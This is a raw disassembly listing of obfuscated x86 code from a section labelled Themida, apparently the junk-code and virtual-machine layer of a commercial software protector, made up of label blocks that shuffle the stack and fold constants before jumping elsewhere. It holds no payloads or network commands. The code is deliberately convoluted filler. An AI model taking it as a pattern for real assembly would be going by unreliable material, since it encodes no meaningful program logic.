loc_59F171: ; CODE XREF: Themida_:0059A854j
sub esi, ecx
pop ecx
push eax
jmp loc_5A669B
; ---------------------------------------------------------------------------
loc_59F17A: ; CODE XREF: Themida_:005A155Cj
sub esi, 895F3701h
mov ebx, esi
jmp loc_5A8796
; ---------------------------------------------------------------------------
lodsd
add esi, 31EA73D4h
sub esi, 11E9607Fh
jmp loc_5A5A81
; ---------------------------------------------------------------------------
loc_59F199: ; CODE XREF: Themida_:005A1ABBj
and edx, eax
jmp loc_5A9AAD
; ---------------------------------------------------------------------------
loc_59F1A0: ; CODE XREF: Themida_:00596C5Cj
push ebx
jmp loc_59930A
; ---------------------------------------------------------------------------
loc_59F1A6: ; CODE XREF: Themida_:0059E8E6j
pop edx
add dl, ah
jmp loc_59A358
; ---------------------------------------------------------------------------
loc_59F1AE: ; CODE XREF: Themida_:005A3FADj
push dword ptr [esp]
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add esp, 4
push 7A5Ah
mov [esp], ebx
mov ebx, 40D013EBh
push ecx
mov ecx, 199B0F45h
add ebx, ecx
pop ecx
neg ebx
push esi
mov esi, 662D5B77h
push ecx
mov ecx, 435679DFh
sub ecx, 27AF0898h
or ecx, 67C06328h
dec ecx
add ecx, 4A024AAFh
add esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_59C42F
; ---------------------------------------------------------------------------
loc_59F216: ; CODE XREF: Themida_:005A7FA8j
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_59E044
; ---------------------------------------------------------------------------
loc_59F230: ; CODE XREF: Themida_:005A9D01j
push ebx
mov ebx, 4
add [esp+4], ebx
pop ebx
jmp loc_5A6E76
; ---------------------------------------------------------------------------
loc_59F240: ; CODE XREF: Themida_:00599BF1j
neg bl
push small 27A8h
mov [esp], cx
jmp loc_5AA438
; ---------------------------------------------------------------------------
loc_59F24F: ; CODE XREF: Themida_:00599C2Cj
sub bl, 0F5h
push ax
mov al, 0CAh
or bl, al
jmp loc_5A7A47
; ---------------------------------------------------------------------------
loc_59F25D: ; CODE XREF: Themida_:0059BA40j
not esi
xchg esi, ebp
jmp loc_59A417
; ---------------------------------------------------------------------------
loc_59F266: ; CODE XREF: Themida_:00596708j
add dword ptr [esp], 4
pop edi
sub esp, 4
mov [esp], eax
push 4986h
mov [esp], ebx
jmp loc_59B33C
; ---------------------------------------------------------------------------
loc_59F281: ; CODE XREF: Themida_:005A9E75j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
push ebx
jmp loc_596EC9
; ---------------------------------------------------------------------------
loc_59F29D: ; CODE XREF: Themida_:00597D02j
mov cl, al
mov al, dl
mov dl, cl
jmp loc_5980A0
; ---------------------------------------------------------------------------
loc_59F2A8: ; CODE XREF: Themida_:00598BFDj
pop edi
add dword ptr [esp+4], 24D96F79h
mov ebx, [esp]
add esp, 4
sub dword ptr [esp], 74B209ACh
jmp loc_59DEDF
; ---------------------------------------------------------------------------
loc_59F2C6: ; CODE XREF: Themida_:005A4DC5j
mov esi, ebx
jmp loc_5A3137
; ---------------------------------------------------------------------------
loc_59F2CD: ; CODE XREF: Themida_:005A3E7Ej
pop esi
rep movsd
jmp loc_5A9363
; ---------------------------------------------------------------------------
loc_59F2D5: ; CODE XREF: Themida_:00597A2Dj
pop ecx
jmp loc_5A07F0
; ---------------------------------------------------------------------------
loc_59F2DB: ; CODE XREF: Themida_:005AAA3Bj
add esp, 4
sub edx, 65FE05A8h
add edx, ebx
add edx, 65FE05A8h
mov ebx, [esp]
add esp, 4
push ebx
mov ebx, 4
sub edx, ebx
pop ebx
xchg edx, [esp]
jmp loc_5A3533
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
jmp loc_5A5F83
; ---------------------------------------------------------------------------
loc_59F312: ; CODE XREF: Themida_:00598E49j
push ebp
mov ebp, 754C3587h
mov edi, 0DCAACE0Fh
sub edi, 2757E21h
add edi, ebp
jmp loc_5AAB11
; ---------------------------------------------------------------------------
loc_59F32A: ; CODE XREF: Themida_:00599165j
not bh
add bh, 8Ch
and dh, bh
pop ebx
jmp loc_5A5A57
; ---------------------------------------------------------------------------
loc_59F337: ; CODE XREF: Themida_:0059E2FBj
mov edx, [esp]
push esi
mov esi, esp
jmp loc_5A7288
; ---------------------------------------------------------------------------
loc_59F342: ; CODE XREF: Themida_:0059D310j
sub edx, 46AB4C20h
sub edx, ecx
add edx, 46AB4C20h
mov ecx, [esp]
add esp, 4
push 77DEh
jmp loc_5A5E52
; ---------------------------------------------------------------------------
loc_59F363: ; CODE XREF: Themida_:005AA354j
push 62EDh
mov [esp], ebx
push 24E6415Dh
mov ebx, [esp]
add esp, 4
mov eax, ebx
pop ebx
push 3F6F4402h
pop ebp
jmp loc_5A808B
; ---------------------------------------------------------------------------
loc_59F387: ; CODE XREF: Themida_:005A6F8Aj
mov dh, 0BBh
jmp loc_59C0BD
; ---------------------------------------------------------------------------
loc_59F38E: ; CODE XREF: Themida_:0059844Aj
push 6AC1h
mov [esp], ecx
sub esp, 4
jmp loc_59B45D
; ---------------------------------------------------------------------------
loc_59F39E: ; CODE XREF: Themida_:005A1485j
sub esi, 1DB497Ah
sub esi, ebx
jmp loc_5A760B
; ---------------------------------------------------------------------------
loc_59F3AB: ; CODE XREF: Themida_:005AAC82j
push 4E6Ch
mov [esp], eax
push ebp
push ecx
mov ecx, 6AA303F0h
push ebx
jmp loc_5A3BF4
; ---------------------------------------------------------------------------
loc_59F3C0: ; CODE XREF: Themida_:0059AB8Dj
mov [esp], ebx
push edx
jmp loc_5A7E3F
; ---------------------------------------------------------------------------
loc_59F3C9: ; CODE XREF: Themida_:005A61AEj
push dword ptr [esp]
pop eax
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 507F0720h
jmp loc_5AB127
; ---------------------------------------------------------------------------
loc_59F3E6: ; CODE XREF: Themida_:0059B383j
mov dh, 8Dh
jmp loc_5A1706
; ---------------------------------------------------------------------------
loc_59F3ED: ; CODE XREF: Themida_:005A452Dj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59F3F2: ; CODE XREF: Themida_:005A1B78j
mov [esp], edi
push dword ptr [esp]
push dword ptr [esp]
pop edx
push esi
mov esi, esp
push ebp
mov ebp, 1EC81587h
jmp loc_5A8BE2
; ---------------------------------------------------------------------------
loc_59F40A: ; CODE XREF: Themida_:005AB3DCj
add esi, ecx
jmp loc_59B6A6
; ---------------------------------------------------------------------------
loc_59F411: ; CODE XREF: Themida_:0059CBA5j
push edx
push 7DB9h
mov [esp], ecx
push edx
mov dl, 35h
and dl, 55h
xor dl, 0B5h
mov ch, dl
jmp loc_5A7690
; ---------------------------------------------------------------------------
loc_59F42A: ; CODE XREF: Themida_:005A51ACj
mov ebx, 468F06AEh
not ebx
jmp loc_599B7C
; ---------------------------------------------------------------------------
loc_59F436: ; CODE XREF: Themida_:00597E56j
sub edx, ecx
pop ecx
shr edx, 8
or edx, 14DE6CBFh
and edx, 0FF51E1Ah
inc edx
jmp loc_5A09C3
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_598087
; ---------------------------------------------------------------------------
loc_59F456: ; CODE XREF: Themida_:00599DABj
mov [esp], esp
jmp loc_59DF97
; ---------------------------------------------------------------------------
loc_59F45E: ; CODE XREF: Themida_:0059D4E5j
mov esi, 0A9F5D09h
jmp loc_5A1158
; ---------------------------------------------------------------------------
loc_59F468: ; CODE XREF: Themida_:005A0DBBj
push ecx
sub esp, 4
jmp loc_5A89C3
; ---------------------------------------------------------------------------
loc_59F474: ; CODE XREF: Themida_:005966A3j
pop ecx
add esi, edx
jmp loc_5A11DF
; ---------------------------------------------------------------------------
loc_59F47C: ; CODE XREF: Themida_:0059F958j
pop edi
pop eax
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_59AFF6
; ---------------------------------------------------------------------------
loc_59F491: ; CODE XREF: Themida_:005AA540j
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], eax
mov eax, 4
sub ecx, 9C22D9h
add ecx, eax
jmp loc_59BD33
; ---------------------------------------------------------------------------
loc_59F4AD: ; CODE XREF: Themida_:0059E086j
pop edi
xor edx, esi
mov esi, [esp]
push 851h
mov [esp], ecx
push 42C5h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add esi, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
jmp loc_598395
; ---------------------------------------------------------------------------
loc_59F4F1: ; CODE XREF: Themida_:005A047Bj
push edx
jmp loc_5AA263
; ---------------------------------------------------------------------------
loc_59F4F7: ; CODE XREF: Themida_:005A2614j
add edx, 4
push edx
push dword ptr [esp+4]
jmp loc_59BC51
; ---------------------------------------------------------------------------
loc_59F504: ; CODE XREF: Themida_:005A529Dj
add al, 89h
add al, 0FBh
jmp loc_59A991
; ---------------------------------------------------------------------------
loc_59F50D: ; CODE XREF: Themida_:005A85EAj
xchg ecx, [esp]
pop esp
mov [esp], esp
jmp loc_5994CA
; ---------------------------------------------------------------------------
loc_59F519: ; CODE XREF: Themida_:0059B1A0j
add eax, edx
add eax, 68A37AB6h
mov edx, [esp]
add esp, 4
push 523Ch
mov [esp], ebp
sub esp, 4
jmp loc_5965F5
; ---------------------------------------------------------------------------
loc_59F539: ; CODE XREF: Themida_:005A67E7j
mov [esp], eax
jmp loc_5A729F
; ---------------------------------------------------------------------------
loc_59F541: ; CODE XREF: Themida_:0059D153j
push edx
mov edx, 1EDA3F09h
mov edi, 1EDA3F49h
jmp loc_59C1DD
; ---------------------------------------------------------------------------
loc_59F551: ; CODE XREF: Themida_:005A916Ej
pop ecx
xchg esi, [esp]
mov esp, [esp]
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
sub dword ptr [esp], 1B1F3A55h
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 1AA5h
mov [esp], ecx
jmp loc_5A3CA9
; ---------------------------------------------------------------------------
loc_59F57D: ; CODE XREF: Themida_:0059AA1Dj
pop ebp
jmp loc_59649C
; ---------------------------------------------------------------------------
loc_59F583: ; CODE XREF: Themida_:005980F3j
xchg edi, [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
push ebx
mov ebx, esp
push edi
mov edi, 4
add ebx, edi
pop edi
sub ebx, 4
push ebx
jmp loc_59E490
; ---------------------------------------------------------------------------
loc_59F5A5: ; CODE XREF: Themida_:00595EC7j
add edx, edi
sub edx, 268E6C1Ah
pop edi
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
shl dword ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59F5C1: ; CODE XREF: Themida_:005A902Cj
add ebp, 4
jmp loc_5A3C7B
; ---------------------------------------------------------------------------
loc_59F5CC: ; CODE XREF: Themida_:005A1F02j
push dword ptr [esp]
pop ebx
jmp loc_59ABC7
; ---------------------------------------------------------------------------
loc_59F5D5: ; CODE XREF: Themida_:005A89A8j
sub edx, 5501470Ch
add edx, eax
add edx, 5501470Ch
pop eax
jmp loc_5A97FC
; ---------------------------------------------------------------------------
loc_59F5E9: ; CODE XREF: Themida_:005987C2j
pop edx
add edi, ebx
push ecx
mov ecx, 7A822679h
jmp loc_59FE0D
; ---------------------------------------------------------------------------
loc_59F5F7: ; CODE XREF: Themida_:00599817j
mov esi, 5826135Bh
xor esi, 4F5FEF2Ch
add edi, 1EA24457h
jmp loc_5996F3
; ---------------------------------------------------------------------------
loc_59F60D: ; CODE XREF: Themida_:005A761Dj
sub esp, 4
jmp loc_597E44
; ---------------------------------------------------------------------------
loc_59F615: ; CODE XREF: Themida_:0059765Ej
mov ecx, eax
push dword ptr [esp]
pop eax
push edx
push esp
jmp loc_59C9B7
; ---------------------------------------------------------------------------
loc_59F622: ; CODE XREF: Themida_:00599F25j
mov edx, [esp]
add esp, 4
inc eax
jmp loc_5A7B48
; ---------------------------------------------------------------------------
loc_59F631: ; CODE XREF: Themida_:0059F867j
pop ebx
add ebx, 4
push edi
mov edi, 4
jmp loc_5A9C20
; ---------------------------------------------------------------------------
loc_59F643: ; CODE XREF: Themida_:00597A5Bj
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
sub esp, 4
mov [esp], esi
jmp loc_5A983E
; ---------------------------------------------------------------------------
loc_59F661: ; CODE XREF: Themida_:00597453j
mov esi, esp
push edx
push 39ECh
mov [esp], ecx
mov ecx, 37F91DB8h
jmp loc_59E74E
; ---------------------------------------------------------------------------
loc_59F676: ; CODE XREF: Themida_:005A9137j
xor [esp], ecx
xor ecx, [esp]
pop esp
push ebp
push 6F3Ch
jmp loc_5A4F58
; ---------------------------------------------------------------------------
loc_59F688: ; CODE XREF: Themida_:005A8CB7j
sub esp, 4
mov [esp], ebp
push edi
push esp
pop edi
push eax
push edi
jmp loc_5AA0E3
; ---------------------------------------------------------------------------
loc_59F698: ; CODE XREF: Themida_:0059E97Cj
mov edx, esp
push ebp
mov ebp, 4
jmp loc_59EDC1
; ---------------------------------------------------------------------------
loc_59F6A5: ; CODE XREF: Themida_:0059CAD2j
pop eax
jmp loc_59D03A
; ---------------------------------------------------------------------------
loc_59F6AB: ; CODE XREF: Themida_:005A701Dj
xchg esi, [esp]
pop esp
shl ebp, 2
sub esp, 4
mov [esp], edx
push ebp
mov ebp, 7B367C5Eh
xor ebp, 189E0760h
mov edx, ebp
push dword ptr [esp]
jmp loc_5A1A6C
; ---------------------------------------------------------------------------
loc_59F6CE: ; CODE XREF: Themida_:0059851Dj
pop ebp
sub eax, 76D261EEh
add eax, edi
add eax, 76D261EEh
jmp loc_5A16F8
; ---------------------------------------------------------------------------
loc_59F6E0: ; CODE XREF: Themida_:005A92D4j
xor [esp], eax
xor eax, [esp]
pop esp
add eax, 5283667Eh
push ebp
mov ebp, 43F56ED6h
jmp loc_59FF5D
; ---------------------------------------------------------------------------
loc_59F6F7: ; CODE XREF: Themida_:00596DB5j
sub esp, 4
mov [esp], eax
mov eax, 0DA03D6h
sub eax, 0DA03D2h
add edx, eax
pop eax
add edx, 4
xchg edx, [esp]
pop esp
push 2DEDh
mov [esp], esi
mov esi, ecx
mov eax, esi
pop esi
push dword ptr [esp]
pop ecx
add esp, 4
shl eax, cl
jmp loc_59B818
; ---------------------------------------------------------------------------
loc_59F732: ; CODE XREF: Themida_:00596E4Dj
push ebp
jmp loc_5A1113
; ---------------------------------------------------------------------------
loc_59F738: ; CODE XREF: Themida_:005A5E13j
push 6830h
mov [esp], edi
push dword ptr [esp+4]
pop edi
jmp loc_5AA778
; ---------------------------------------------------------------------------
loc_59F74A: ; CODE XREF: Themida_:005AA8E8j
add ecx, 2
xor ecx, [esp]
jmp loc_5A8386
; ---------------------------------------------------------------------------
loc_59F758: ; CODE XREF: Themida_:0059FAE4j
xor eax, ebx
mov ebx, [esp]
add esp, 4
jmp loc_59C416
; ---------------------------------------------------------------------------
loc_59F768: ; CODE XREF: Themida_:0059EF8Ej
add dword ptr [esp], 4
push dword ptr [esp]
pop ebx
jmp loc_5AB265
; ---------------------------------------------------------------------------
loc_59F778: ; CODE XREF: Themida_:005A8A45j
inc eax
push ebp
push eax
jmp loc_596311
; ---------------------------------------------------------------------------
lodsb
push ebx
mov ebx, esp
push edi
mov edi, 66D87E6Dh
inc edi
sub edi, 66D87E6Ah
jmp loc_5A7E71
; ---------------------------------------------------------------------------
loc_59F796: ; CODE XREF: Themida_:005A5DC7j
add esp, 4
push 18EBh
mov [esp], ebp
jmp loc_5A85CB
; ---------------------------------------------------------------------------
loc_59F7A6: ; CODE XREF: Themida_:005AB10Bj
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add esi, 5CAA35A5h
xchg ebp, esi
not ebp
xchg ebp, esi
inc esi
add esi, 77D94FA3h
xor esi, 5A20272Fh
jmp loc_5A6CBD
; ---------------------------------------------------------------------------
loc_59F7D3: ; CODE XREF: Themida_:005A6461j
pop ecx
jmp loc_59ED0C
; ---------------------------------------------------------------------------
loc_59F7D9: ; CODE XREF: Themida_:005AB4BFj
sub [esp+4], edi
push esi
jmp loc_5A0E72
; ---------------------------------------------------------------------------
loc_59F7E3: ; CODE XREF: Themida_:00599065j
xor ebp, 58282331h
shl ebp, 4
add ebp, 47D577DFh
dec ebp
jmp loc_5A93C2
; ---------------------------------------------------------------------------
loc_59F7F8: ; CODE XREF: Themida_:005A67B5j
xchg ebx, [esp]
pop esp
jmp loc_5973FB
; ---------------------------------------------------------------------------
loc_59F801: ; CODE XREF: Themida_:005A60E3j
not dword ptr [esp]
pop ebx
sub ebx, 0FAD9B35h
mov edx, ebx
jmp loc_5A3CCF
; ---------------------------------------------------------------------------
loc_59F812: ; CODE XREF: Themida_:0059E6E3j
or ebx, edx
pop edx
inc ebx
push edx
mov edx, 0C104C80Bh
add ebx, edx
pop edx
push ebp
mov ebp, 584769CBh
sub eax, 296E2802h
add eax, ebp
jmp loc_5985AB
; ---------------------------------------------------------------------------
loc_59F831: ; CODE XREF: Themida_:005A824Fj
pop edx
push ebp
mov ebp, 4306155Ah
push 6A90h
jmp loc_59BA33
; ---------------------------------------------------------------------------
loc_59F842: ; CODE XREF: Themida_:005A5577j
push ebp
jmp loc_5A01C9
; ---------------------------------------------------------------------------
loc_59F848: ; CODE XREF: Themida_:0059974Ej
mov [esp], edx
jmp loc_5A5970
; ---------------------------------------------------------------------------
loc_59F850: ; CODE XREF: Themida_:005A6D1Aj
push 226Ah
mov [esp], ebp
push ebx
jmp loc_5A4C9B
; ---------------------------------------------------------------------------
loc_59F85E: ; CODE XREF: Themida_:005A752Aj
mov ebp, [esp]
jmp loc_5A4EF5
; ---------------------------------------------------------------------------
loc_59F866: ; CODE XREF: Themida_:005A938Bj
push esp
jmp loc_59F631
; ---------------------------------------------------------------------------
loc_59F86C: ; CODE XREF: Themida_:0059BD2Ej
pop ebp
jmp loc_5A4D39
; ---------------------------------------------------------------------------
loc_59F872: ; CODE XREF: Themida_:0059F081j
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
mov cx, [esp]
jmp loc_5A11C7
; ---------------------------------------------------------------------------
loc_59F88A: ; CODE XREF: Themida_:0059F97Cj
xor esi, edx
pop edx
shr esi, 6
sub esi, 0E7F47747h
add ebx, esi
mov esi, [esp]
add esp, 4
jmp loc_5A4BD4
; ---------------------------------------------------------------------------
loc_59F8A3: ; CODE XREF: Themida_:0059C42Aj
pop ecx
not esi
jmp loc_59EA35
; ---------------------------------------------------------------------------
loc_59F8AB: ; CODE XREF: Themida_:005A9A96j
mov [esp], eax
jmp loc_59A588
; ---------------------------------------------------------------------------
loc_59F8B3: ; CODE XREF: Themida_:005A19C0j
or ch, 0E7h
jmp loc_599968
; ---------------------------------------------------------------------------
loc_59F8BB: ; CODE XREF: Themida_:005A8053j
sub ebx, edi
sub ebx, 73CF2376h
mov edi, [esp]
push ecx
push esp
pop ecx
add ecx, 4
jmp loc_599DB0
; ---------------------------------------------------------------------------
lodsd
jmp loc_598066
; ---------------------------------------------------------------------------
loc_59F8DA: ; CODE XREF: Themida_:00596CB7j
shl esi, 2
jmp loc_59AC36
; ---------------------------------------------------------------------------
loc_59F8E2: ; CODE XREF: Themida_:005AA325j
pop esp
mov eax, [esp]
add esp, 4
push 160Ah
jmp loc_5A2B19
; ---------------------------------------------------------------------------
loc_59F8F3: ; CODE XREF: Themida_:005AA86Ej
pop edx
push 452Dh
mov [esp], ecx
mov ecx, 2
sub eax, 573A04B6h
add eax, ecx
add eax, 573A04B6h
mov ecx, [esp]
add esp, 4
xchg eax, [esp]
pop esp
shr word ptr [esp], cl
pushf
jmp loc_5A7D6A
; ---------------------------------------------------------------------------
loc_59F921: ; CODE XREF: Themida_:0059AAFFj
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], eax
mov eax, 4
add edi, eax
pop eax
push ebp
jmp loc_5A1660
; ---------------------------------------------------------------------------
loc_59F937: ; CODE XREF: Themida_:005A06B3j
add ecx, eax
pop eax
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5A8C68
; ---------------------------------------------------------------------------
loc_59F949: ; CODE XREF: Themida_:005AAFE0j
sub esp, 4
mov [esp], edi
mov edi, 4
add [esp+4], edi
jmp loc_59F47C
; ---------------------------------------------------------------------------
loc_59F95D: ; CODE XREF: Themida_:005AAF86j
push edx
mov edx, 760C5E01h
add edx, 0C7C568Fh
jmp loc_59B9E6
; ---------------------------------------------------------------------------
loc_59F96E: ; CODE XREF: Themida_:005992A4j
mov [esp], esi
mov esi, 5D782D20h
push edx
mov edx, 39C93048h
jmp loc_59F88A
; ---------------------------------------------------------------------------
loc_59F981: ; CODE XREF: Themida_:00598229j
sub eax, 65B77421h
pop edx
xor ebx, eax
pop dword ptr [eax]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59F990: ; CODE XREF: Themida_:0059FB3Aj
add esp, 4
dec esi
add esi, 27F9F26Bh
xor edi, esi
pop esi
jmp loc_59A733
; ---------------------------------------------------------------------------
loc_59F9A2: ; CODE XREF: Themida_:0059B5E3j
mov [esp], ecx
push esp
pop ecx
add ecx, 4
push 439Fh
mov [esp], eax
mov eax, 4
add ecx, eax
pop eax
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_5A3D96
; ---------------------------------------------------------------------------
loc_59F9E0: ; CODE XREF: Themida_:0059AFA6j
mov [esp], ecx
mov ecx, 70A44347h
push eax
jmp loc_5A32D6
; ---------------------------------------------------------------------------
loc_59F9EE: ; CODE XREF: Themida_:0059CA35j
mov edx, 207743F4h
xor edx, 632C3B3Dh
and edx, 5C3829FDh
sub edx, 2EA664AEh
xor edx, 193E827Ah
mov ebx, edx
pop edx
mov esi, ebx
jmp loc_5A2FC2
; ---------------------------------------------------------------------------
loc_59FA15: ; CODE XREF: Themida_:005A8867j
mov eax, ebx
pop ebx
sub eax, ebp
mov ebp, [esp]
add esp, 4
push ebx
mov ebx, 4F351223h
add ebp, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5A7A68
; ---------------------------------------------------------------------------
loc_59FA39: ; CODE XREF: Themida_:0059D035j
push edi
mov edi, 7B5F1B1Eh
or edi, 5C4D0B0Ah
jmp loc_598FE1
; ---------------------------------------------------------------------------
loc_59FA4A: ; CODE XREF: Themida_:005A2819j
neg eax
shr eax, 8
push 2CD1h
mov [esp], ebp
mov ebp, 0B47AACh
xor eax, ebp
pop ebp
add edi, 244C4BECh
push ecx
mov ecx, 3D280721h
neg ecx
add ecx, 94B982B7h
jmp loc_59CAF3
; ---------------------------------------------------------------------------
loc_59FA78: ; CODE XREF: Themida_:0059B3D8j
push ebp
mov ebp, 2
push ebx
mov ebx, 70A14B87h
neg ebx
and ebx, 1F010D85h
sub ebx, 17B895h
sub edx, ebx
pop ebx
add edx, ebp
jmp loc_5AB024
; ---------------------------------------------------------------------------
loc_59FA9C: ; CODE XREF: Themida_:0059AD2Ej
add edi, 49185CE4h
mov ebp, edi
pop edi
jmp loc_5A8EE1
; ---------------------------------------------------------------------------
loc_59FAAA: ; CODE XREF: Themida_:005A79E9j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59FABE: ; CODE XREF: Themida_:005A20C6j
pop ecx
sub edx, esi
pop esi
add edx, ebp
jmp loc_5A4B4D
; ---------------------------------------------------------------------------
loc_59FAC9: ; CODE XREF: Themida_:0059664Fj
push edx
jmp loc_597D54
; ---------------------------------------------------------------------------
loc_59FACF: ; CODE XREF: Themida_:00597363j
mov [esp], ecx
jmp loc_598828
; ---------------------------------------------------------------------------
loc_59FAD7: ; CODE XREF: Themida_:005A04A0j
mov [esp], ebx
mov ebx, 54882273h
mov eax, 5488226Fh
jmp loc_59F758
; ---------------------------------------------------------------------------
loc_59FAE9: ; CODE XREF: Themida_:005AA449j
add dl, ah
add dl, 36h
jmp loc_59CE62
; ---------------------------------------------------------------------------
loc_59FAF3: ; CODE XREF: Themida_:005AB1E0j
mov [esp], bx
sub esp, 4
mov [esp], ecx
push eax
mov ah, 0Ch
inc ah
jmp loc_5AAD4B
; ---------------------------------------------------------------------------
loc_59FB0A: ; CODE XREF: Themida_:005A112Aj
add edi, 4
add edi, 4
jmp loc_5AAF30
; ---------------------------------------------------------------------------
loc_59FB1B: ; CODE XREF: Themida_:0059D7E4j
pop esi
jmp loc_59FE3E
; ---------------------------------------------------------------------------
loc_59FB21: ; CODE XREF: Themida_:005A6875j
mov esi, [esp]
add esp, 4
push ecx
mov ecx, 541E6658h
jmp loc_59A848
; ---------------------------------------------------------------------------
loc_59FB35: ; CODE XREF: Themida_:0059EE5Cj
add esi, ecx
mov ecx, [esp]
jmp loc_59F990
; ---------------------------------------------------------------------------
loc_59FB3F: ; CODE XREF: Themida_:0059B754j
mov edx, 432C3FC7h
jmp loc_5A0B0C
; ---------------------------------------------------------------------------
loc_59FB49: ; CODE XREF: Themida_:0059AC00j
pop edx
push ebx
push ecx
mov cl, 6Eh
mov bl, cl
mov ecx, [esp]
add esp, 4
jmp loc_5AB13D
; ---------------------------------------------------------------------------
loc_59FB5E: ; CODE XREF: Themida_:005A2F69j
sub bl, 0D8h
jmp loc_59EC4A
; ---------------------------------------------------------------------------
loc_59FB66: ; CODE XREF: Themida_:005A5450j
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
add eax, ebp
jmp loc_59C74E
; ---------------------------------------------------------------------------
loc_59FB7A: ; CODE XREF: Themida_:005A49B1j
push ecx
jmp loc_5A5D8C
; ---------------------------------------------------------------------------
loc_59FB80: ; CODE XREF: Themida_:0059A728j
mov [esp], esi
mov esi, 72587E45h
neg esi
neg esi
xor esi, 8353DB26h
add eax, esi
pop esi
sub esi, eax
mov eax, [esp]
add esp, 4
jmp loc_59E7BC
; ---------------------------------------------------------------------------
loc_59FBA5: ; CODE XREF: Themida_:0059A4CDj
add esp, 4
inc ebp
or ebp, 4BBA7BC3h
add ebp, 2A4706CFh
push 0
sub [esp], ebp
pop ebp
not ebp
push eax
push 4CE3482Ah
pop eax
or eax, 13BC09B5h
shl eax, 7
push eax
inc dword ptr [esp]
pop eax
or eax, 5C183913h
xor eax, 0F9FDA0EEh
shl eax, 1
jmp loc_597C6B
; ---------------------------------------------------------------------------
loc_59FBE8: ; CODE XREF: Themida_:005A2006j
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
inc dword ptr [esp]
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59FBFF: ; CODE XREF: Themida_:005A5343j
add ecx, 4
push 7E74h
mov [esp], esi
jmp loc_5A55DB
; ---------------------------------------------------------------------------
loc_59FC12: ; CODE XREF: Themida_:005968F8j
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_59A9D3
; ---------------------------------------------------------------------------
loc_59FC20: ; CODE XREF: Themida_:005A4055j
mov [esp], ebx
mov bh, 0C6h
push bx
mov bh, 53h
add al, bh
pop bx
sub al, 3Ch
add al, bh
add al, 3Ch
sub al, 53h
jmp loc_5AB236
; ---------------------------------------------------------------------------
loc_59FC3A: ; CODE XREF: Themida_:0059C55Bj
push ecx
mov ecx, 5EE3631h
sub [esp+8], ecx
jmp loc_59DDA1
; ---------------------------------------------------------------------------
loc_59FC49: ; CODE XREF: Themida_:005A12ADj
or ebx, 0FDE3C4Fh
push ebp
jmp loc_59755F
; ---------------------------------------------------------------------------
loc_59FC55: ; CODE XREF: Themida_:005A5761j
push esi
mov esi, 4
sub ebx, esi
pop esi
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], eax
mov eax, 4
add ebx, eax
push dword ptr [esp]
pop eax
jmp loc_5AA1FC
; ---------------------------------------------------------------------------
loc_59FC7B: ; CODE XREF: Themida_:005A0F48j
push ebp
mov ebp, esp
jmp loc_59828D
; ---------------------------------------------------------------------------
loc_59FC83: ; CODE XREF: Themida_:005AAF66j
sub eax, edi
pop edi
jmp loc_5A5915
; ---------------------------------------------------------------------------
loc_59FC8B: ; CODE XREF: Themida_:00597A8Bj
push 6A07h
mov [esp], eax
jmp loc_59C7F6
; ---------------------------------------------------------------------------
loc_59FC98: ; CODE XREF: Themida_:00597F5Bj
mov [esp], ebx
jmp loc_59D44D
; ---------------------------------------------------------------------------
loc_59FCA0: ; CODE XREF: Themida_:005A39A0j
mov ecx, edx
pop edx
jmp loc_5A8448
; ---------------------------------------------------------------------------
loc_59FCA8: ; CODE XREF: Themida_:0059D078j
mov [esp], ecx
mov cl, dl
push edx
mov dl, cl
mov al, dl
pop edx
pop ecx
jmp loc_5A2691
; ---------------------------------------------------------------------------
loc_59FCB9: ; CODE XREF: Themida_:005AA4C2j
sub ebp, 0ECA879B0h
add eax, ebp
pop ebp
add eax, 4
xchg eax, [esp]
pop esp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_59C0E2
; ---------------------------------------------------------------------------
loc_59FCE0: ; CODE XREF: Themida_:005A8064j
pop ebp
add esp, 4
push edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_5A64A1
; ---------------------------------------------------------------------------
loc_59FCFA: ; CODE XREF: Themida_:0059A080j
mov [esp], edx
mov dl, ch
push ebx
push ecx
mov cl, dl
mov bl, cl
pop ecx
push edx
mov dh, bl
jmp loc_5A2A11
